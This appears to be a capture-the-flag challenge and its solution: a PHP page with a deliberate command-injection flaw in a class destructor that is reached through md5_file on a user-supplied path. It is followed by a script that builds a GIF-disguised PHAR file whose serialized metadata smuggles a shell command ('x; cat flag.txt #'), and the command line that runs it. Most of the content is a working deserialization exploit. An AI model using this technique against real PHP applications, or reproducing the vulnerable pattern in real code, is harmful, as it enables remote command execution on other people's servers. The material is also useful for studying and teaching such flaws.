1
<?php
2
class User {
3
    public $avatar_path;
4
    public $name;
5
    // who cares
6
    public $password;
7
    function __construct($name, $password) {
8
        $this->name = $name;
9
        $this->password = $password;
10
        $this->avatar_path = "avatars/".$name.".png";
11
        //todo fill the avatar with something meaningful
12
        system("touch ".$this->avatar_path);
13
    }
14
    function __destruct() {
15
        system("rm ".$this->avatar_path);
16
    }
17
}
18

19

20
$file = $_GET['path'];
21
$res = md5_file($file);
22
if ($res == FALSE){
23
    file_put_contents("/tmp/remote_file.jpg",file_get_contents($file));
24
    // everything is a image if you look at it long enough
25
    $res = md5_file("/tmp/remote_file.jpg");
26
}
27
if ($res == 0xdeadbeef){
28
    echo "Congratulations! Here is not your flag: ".file_get_contents("flag.txt");
29
} else{
30
    echo $res;
31
}
32
?>

1
<?php
2
class User {
3
    public $avatar_path;
4
    public $name;
5
    public $password;
6
}
7
$cmd = $argv[1] ?? 'cat flag.txt';
8
$out = $argv[2] ?? 'payload.jpg';
9
$tmp = preg_replace('/\.jpg$/', '.phar', $out);
10
@unlink($tmp);
11
@unlink($out);
12

13
$phar = new Phar($tmp);
14
$phar->startBuffering();
15

16
$phar->addFromString('x', 'x');
17

18
$phar->setStub("GIF89a<?php __HALT_COMPILER(); ?>");
19

20
$u = new User();
21
$u->name = 'a';
22
$u->password = 'b';
23
$u->avatar_path = 'x; ' . $cmd . ' #';
24
$phar->setMetadata($u);
25
$phar->stopBuffering();
26
copy($tmp, $out);

1
php -d phar.readonly=0 make_phar.php 'x; cat flag.txt #' payload.jpg